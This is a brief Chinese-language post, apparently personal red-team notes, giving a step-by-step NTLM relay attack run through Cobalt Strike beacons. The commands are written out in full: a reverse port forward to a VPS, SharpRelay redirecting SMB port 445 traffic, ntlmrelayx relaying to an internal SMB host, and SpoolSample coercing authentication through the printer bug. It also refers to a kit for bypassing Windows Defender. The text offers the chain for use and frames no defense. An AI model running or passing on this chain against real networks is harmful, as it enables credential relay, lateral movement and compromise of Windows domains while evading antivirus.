NTLM Relay With CobaltStrike

预览

NTLM Relay With CobaltStrike

PS: 个人感觉这个工具让Relay攻击更加丝滑了.

以及前置知识去这里了解https://daiker.gitbook.io/windows-protocol/

Upload

先Bypass WD这个KIT的代码我分享过了.

Execute

把内网目标的8444端口转发到VPS

1. rportfwd 1314 127.0.0.1 8444

把内网主机的445端口流量转发到他本地的8444

1. sharprelay server1 "C:\Users\administrator\Desktop\Check\Wing\WinDivert64.sys" 445 8444

Relay Start

攻击75的机器

1. proxychains4 python ntlmrelayx.py -t smb://192.168.123.75 -smb2support -no-http-server

配合打印机服务漏洞

1. SpoolSample owa2013.rootkit.org 192.168.123.74

原文地址

https://pkb1s.github.io/Relay-attacks-via-Cobalt-Strike-beacons/